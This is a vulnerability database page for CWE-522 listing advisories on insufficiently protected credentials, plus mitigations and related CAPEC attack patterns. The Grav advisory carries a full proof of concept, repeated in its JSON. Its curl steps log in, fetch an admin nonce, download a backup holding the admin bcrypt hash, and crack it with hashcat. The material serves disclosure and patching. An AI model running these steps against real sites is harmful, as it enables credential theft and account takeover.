CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1969 vulnerabilities reference this CWE, most recent first.
GHSA-28PJ-7RWG-VXRF
Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-03-05 21:30Charging station authentication identifiers are publicly accessible via web-based mapping platforms.
{
"affected": [],
"aliases": [
"CVE-2026-25774"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T01:16:20Z",
"severity": "MODERATE"
},
"details": "Charging station authentication identifiers are publicly accessible via web-based mapping platforms.",
"id": "GHSA-28pj-7rwg-vxrf",
"modified": "2026-03-05T21:30:27Z",
"published": "2026-02-27T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25774"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-07.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-07"
},
{
"type": "WEB",
"url": "https://www.ev.energy/en-us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-29JV-PQCQ-M927
Vulnerability from github – Published: 2026-05-27 09:31 – Updated: 2026-05-27 09:31Insufficiently protected credentials vulnerability in IPSpeaker component in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to obtain sensitive information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2024-47271"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T09:16:25Z",
"severity": "MODERATE"
},
"details": "Insufficiently protected credentials vulnerability in IPSpeaker component in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to obtain sensitive information via unspecified vectors.",
"id": "GHSA-29jv-pqcq-m927",
"modified": "2026-05-27T09:31:16Z",
"published": "2026-05-27T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47271"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-29P4-J6WV-3G22
Vulnerability from github – Published: 2022-01-18 00:01 – Updated: 2022-01-28 00:04Insufficiently protected credentials vulnerability in 'TEPRA' PRO SR5900P Ver.1.080 and earlier and 'TEPRA' PRO SR-R7900P Ver.1.030 and earlier allows an attacker on the adjacent network to obtain credentials for connecting to the Wi-Fi access point with the infrastructure mode.
{
"affected": [],
"aliases": [
"CVE-2022-0184"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-17T10:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficiently protected credentials vulnerability in \u0027TEPRA\u0027 PRO SR5900P Ver.1.080 and earlier and \u0027TEPRA\u0027 PRO SR-R7900P Ver.1.030 and earlier allows an attacker on the adjacent network to obtain credentials for connecting to the Wi-Fi access point with the infrastructure mode.",
"id": "GHSA-29p4-j6wv-3g22",
"modified": "2022-01-28T00:04:12Z",
"published": "2022-01-18T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0184"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN81479705/index.html"
},
{
"type": "WEB",
"url": "https://www.kingjim.co.jp/download/security/#sr01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-29RR-MHWV-G7PR
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2025-04-20 03:50D-Link DIR-130 firmware version 1.23 and DIR-330 firmware version 1.12 do not sufficiently protect administrator credentials. The tools_admin.asp page discloses the administrator password in base64 encoding in the returned web page. A remote attacker with access to this page (potentially through a authentication bypass such as CVE-2017-3191) may obtain administrator credentials for the device.
{
"affected": [],
"aliases": [
"CVE-2017-3192"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-16T02:29:00Z",
"severity": "CRITICAL"
},
"details": "D-Link DIR-130 firmware version 1.23 and DIR-330 firmware version 1.12 do not sufficiently protect administrator credentials. The tools_admin.asp page discloses the administrator password in base64 encoding in the returned web page. A remote attacker with access to this page (potentially through a authentication bypass such as CVE-2017-3191) may obtain administrator credentials for the device.",
"id": "GHSA-29rr-mhwv-g7pr",
"modified": "2025-04-20T03:50:04Z",
"published": "2022-05-13T01:36:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3192"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/123292"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/553503"
},
{
"type": "WEB",
"url": "https://www.scmagazine.com/d-link-dir-130-and-dir-330-routers-vulnerable/article/644553"
},
{
"type": "WEB",
"url": "https://www.wilderssecurity.com/threads/d-link-dir-130-and-dir-330-are-vulnerable-to-authentication-bypass-and-do-not-protect-credentials.392703"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2C8C-XHWV-R7H7
Vulnerability from github – Published: 2022-11-02 12:00 – Updated: 2022-11-03 19:00Dashlane password and Keepass Server password in My Account Settings are not encrypted in the database in Devolutions Remote Desktop Manager 2022.2.26 and prior versions and Devolutions Server 2022.3.1 and prior versions which allows database users to read the data. This issue affects : Remote Desktop Manager 2022.2.26 and prior versions. Devolutions Server 2022.3.1 and prior versions.
{
"affected": [],
"aliases": [
"CVE-2022-3781"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-01T19:15:00Z",
"severity": "MODERATE"
},
"details": "Dashlane password and Keepass Server password in My Account Settings are not encrypted in the database in Devolutions Remote Desktop Manager 2022.2.26 and prior versions and Devolutions Server 2022.3.1 and prior versions which allows database users to read the data. This issue affects : Remote Desktop Manager 2022.2.26 and prior versions. Devolutions Server 2022.3.1 and prior versions.",
"id": "GHSA-2c8c-xhwv-r7h7",
"modified": "2022-11-03T19:00:24Z",
"published": "2022-11-02T12:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3781"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2022-0009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C8X-3PPX-9GJ3
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28A flaw was found in ceph-dashboard. The JSON Web Token (JWT) used for user authentication is stored by the frontend application in the browser’s localStorage which is potentially vulnerable to attackers via XSS attacks. The highest threat from this vulnerability is to data confidentiality and integrity.
{
"affected": [],
"aliases": [
"CVE-2020-27839"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T22:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in ceph-dashboard. The JSON Web Token (JWT) used for user authentication is stored by the frontend application in the browser\u2019s localStorage which is potentially vulnerable to attackers via XSS attacks. The highest threat from this vulnerability is to data confidentiality and integrity.",
"id": "GHSA-2c8x-3ppx-9gj3",
"modified": "2022-05-24T22:28:03Z",
"published": "2022-05-24T22:28:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27839"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1901330"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2CG7-8M86-P9R3
Vulnerability from github – Published: 2025-11-11 09:30 – Updated: 2025-11-11 09:30A 3rd-party component exposed its password in process arguments, allowing for low-privileged users to access it.
{
"affected": [],
"aliases": [
"CVE-2025-6571"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T07:15:35Z",
"severity": "MODERATE"
},
"details": "A 3rd-party component\u00a0exposed its password in process arguments, allowing for low-privileged users to access it.",
"id": "GHSA-2cg7-8m86-p9r3",
"modified": "2025-11-11T09:30:30Z",
"published": "2025-11-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6571"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/1f/f8/f0/cve-2025-6571pdf-en-US-504216.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2CXP-92Q3-3PW5
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09In GolfBuddy Course Manager 1.1, passwords are sent (with base64 encoding) via a GET request.
{
"affected": [],
"aliases": [
"CVE-2020-9337"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-26T14:15:00Z",
"severity": "MODERATE"
},
"details": "In GolfBuddy Course Manager 1.1, passwords are sent (with base64 encoding) via a GET request.",
"id": "GHSA-2cxp-92q3-3pw5",
"modified": "2022-05-24T17:09:43Z",
"published": "2022-05-24T17:09:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9337"
},
{
"type": "WEB",
"url": "https://github.com/0xEmma/CVEs/blob/master/CVEs/CVE-2020-9337-Golf-Buddy-Insecure-Passwords.md"
},
{
"type": "WEB",
"url": "https://help.golfbuddyglobal.com/sList.asp?searchproduct=29\u0026searchcategory=5"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2F5G-M75X-XPHF
Vulnerability from github – Published: 2026-02-27 12:31 – Updated: 2026-08-24 18:31Hardcoded Email Credentials Saved as Plaintext in Firmware (CWE-256: Plaintext Storage of a Password) vulnerability in Frick Controls Quantum HD version 10.22 and prior lead to unauthorized access, exposure of sensitive information, and potential misuse or system compromise This issue affects Frick Controls Quantum HD version 10.22 and prior.
{
"affected": [],
"aliases": [
"CVE-2026-21660"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T10:16:22Z",
"severity": "MODERATE"
},
"details": "Hardcoded Email Credentials Saved as Plaintext in Firmware (CWE-256: Plaintext Storage of a Password) vulnerability in Frick Controls Quantum HD version 10.22 and prior\u00a0lead to unauthorized access, exposure of sensitive information, and potential misuse or system compromise\nThis issue affects Frick Controls Quantum HD version 10.22 and prior.",
"id": "GHSA-2f5g-m75x-xphf",
"modified": "2026-08-24T18:31:25Z",
"published": "2026-02-27T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21660"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-01"
},
{
"type": "WEB",
"url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2F86-9CP8-6HCF
Vulnerability from github – Published: 2026-06-18 14:31 – Updated: 2026-06-18 14:31Summary
An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the admin's bcrypt password hash and email, plus user/config/ with all site configuration. The download endpoint requires only the session-static admin-nonce in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on http://{Grav_URL}/admin, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.
Details
The vulnerability chain spans three components in the deployed Grav source tree at /var/www/html/grav/:
1. Backup archive scope — Backups::backup()
/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272
The backup() static method creates a ZIP of the directory specified by the backup profile's root property. The default profile (ID 0, named default_site_backup) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:
// Backups.php:225
$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;
Since the default profile ships with no root override, $backup->root is empty, making $backup_root equal to GRAV_ROOT — i.e. /var/www/html/grav/. The archive therefore captures the entire installation including:
/var/www/html/grav/user/accounts/— admin password hash, email, full name, granular permissions/var/www/html/grav/user/config/— system settings, potentially email SMTP credentials
The exclude_files and exclude_paths options on lines 232-235 are empty by default and offer no protection against including account files.
2. Backup download handler — AdminController::taskBackup()
/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573
After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:
// AdminController.php:558-560
$download = urlencode(base64_encode($backup));
$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep
. $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');
The download handler (lines 532-541) decodes the path, locates the file via the backup:// stream, and serves it with Utils::download($file, true). It performs only two checks: the filename must end in .zip and the file must actually exist. It does not verify the file belongs to the requesting user, does not enforce a form-level nonce, and does not tie the download to a specific session.
3. Nonce validation — permissive
The backup route is protected only by the admin-nonce parameter appended to the URL path. This nonce is session-static and shared across every admin page. No form-nonce is required — unlike page saves or configuration changes which demand both admin-nonce and form-nonce. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.
PoC
Prerequisites: Admin session with valid admin-nonce.
Step 1 — Authenticate and extract the session-static nonces:
# Get login page, extract login-nonce, authenticate
NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'name="login-nonce" value="\K[^"]+')
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
--data-urlencode "data[username]=admin" \
--data-urlencode "data[password]=Passw0rd123!" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}"
# Extract the admin-nonce (same value on every admin page)
ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1)
echo "Admin nonce: $ADMIN_NONCE" # e.g. 68d6b108bc1398028365fb35ea760baf
Step 2 — Trigger a backup (single GET, no form-nonce needed):
curl -s -b /tmp/jar \
"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}"
Response:
{
"status": "success",
"message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>"
}
Step 3 — Extract the Base64 download token and fetch the ZIP:
# The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip")
# This reveals the full server filesystem path.
curl -s -b /tmp/jar -o /tmp/backup.zip \
"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}"
Step 4 — Extract the password hash from the ZIP:
unzip -p /tmp/backup.zip "user/accounts/admin.yaml"
Output:
state: enabled
email: admin@grav.com
fullname: 'Grav Admin'
title: Administrator
access:
admin:
login: true
super: true
site:
login: true
hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m
Step 5 — Crack the bcrypt hash offline:
echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Step 6 — Log in with the cracked password (no rate limit):
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
--data-urlencode "data[username]=admin" \
--data-urlencode "data[password]=<cracked_password>" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}"
Impact
- Type: Authenticated sensitive data exposure enabling offline credential theft
- Attack surface: Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)
- Exposed data: Admin username, email, full name, granular permission structure, bcrypt password hash (
$2y$12$...), and full site configuration fromuser/config/ - Downstream risk: Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes
- Server path leakage: The Base64-encoded download token reveals the absolute filesystem path
/var/www/html/grav/backup/— information critical for LFI, file-write, and path traversal attacks
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.53"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55885"
],
"database_specific": {
"cwe_ids": [
"CWE-312",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:31:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin\u0027s bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server\u0027s full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope \u2014 `Backups::backup()`** \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile\u0027s `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` \u2014 i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` \u2014 admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` \u2014 system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler \u2014 `AdminController::taskBackup()`** \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . \u0027/task\u0027 . $param_sep . \u0027backup/download\u0027 . $param_sep\n . $download . \u0027/admin-nonce\u0027 . $param_sep . Utils::getNonce(\u0027admin-form\u0027);\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation \u2014 permissive** \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required \u2014 unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 \u2014 Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n | grep -oP \u0027name=\"login-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n --data-urlencode \"data[username]=admin\" \\\n --data-urlencode \"data[password]=Passw0rd123!\" \\\n --data-urlencode \"task=login\" \\\n --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n | grep -oP \u0027admin-nonce[:=]\\K[a-f0-9]+\u0027 | head -1)\necho \"Admin nonce: $ADMIN_NONCE\" # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 \u2014 Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n \"status\": \"success\",\n \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 \u2014 Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 \u2014 Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: \u0027Grav Admin\u0027\ntitle: Administrator\naccess:\n admin:\n login: true\n super: true\n site:\n login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 \u2014 Crack the bcrypt hash offline:**\n```bash\necho \u0027$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\u0027 \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 \u2014 Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n --data-urlencode \"data[username]=admin\" \\\n --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n --data-urlencode \"task=login\" \\\n --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` \u2014 information critical for LFI, file-write, and path traversal attacks",
"id": "GHSA-2f86-9cp8-6hcf",
"modified": "2026-06-18T14:31:13Z",
"published": "2026-06-18T14:31:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets"
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.